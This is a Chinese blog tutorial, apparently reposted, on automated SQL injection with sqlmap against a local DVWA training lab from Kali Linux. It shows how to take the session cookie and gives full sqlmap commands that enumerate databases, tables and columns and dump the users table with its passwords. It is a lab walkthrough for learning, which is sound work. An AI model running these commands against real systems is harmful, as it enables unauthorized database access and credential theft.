[大数据] [MySQL] SQL注入—

开发: C++知识库 Java知识库 JavaScript Python PHP知识库人工智能区块链大数据移动开发嵌入式开发工具数据结构与算法开发测试游戏开发网络协议系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑笔记本显卡显示器固态硬盘硬盘耳机手机 iphone vivo oppo 小米华为单反装机图拉丁

-> 大数据 -> [MySQL] SQL注入——自动注入 -> 正文阅读

[大数据][MySQL] SQL注入——自动注入

这次和上次的文章[MySQL] SQL注入——手工注入一样用到的是DVWA平台和KALI Linux系统

1、首先登陆到DVWA
在这里插入图片描述
2、获取PHPSESSID值
这里获取cookie值由两种方法
第一种是控制台获取

document.cookie

在这里插入图片描述
第二种就是

3、在user ID输入1
在这里插入图片描述
注意：这个网址是有变化的
将这个网址幅值下来
打开KALI Linux

判断当前网页是否存在注入点，如需要登录，通过指定cookie携带PHPSESSION信息，实现预登录

sqlmap -u "http://192.168.105.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=**************************" --batch

注意：PHPSESSID=**************************是自己获取的，这里隐藏
在这里插入图片描述
出现以上情况标识有注入点

通过自动注入，获取该网页的MySQL服务器中所有数据库名

sqlmap -u "http://192.168.105.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=**************************" --batch --dbs

在这里插入图片描述

通过自动注入，获取该当前数据库所有数据表名

sqlmap -u "http://192.168.105.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=**************************" --batch -D dvwa --tables

在这里插入图片描述
获取到了“dvwa”数据库中两个表的表名

通过自动注入，获取users表中所有字段名

sqlmap -u "http://192.168.105.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=**************************" --batch -D dvwa -T users --columns

在这里插入图片描述

通过自动注入，获取users表中first_name，last_name，user，password指定字段所有数据内容

sqlmap -u " http://192.168.105.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit# " --cookie=" security=low; PHPSESSID=************************** " --batch -D dvwa -T users -C first_name,last_name,user,password --dump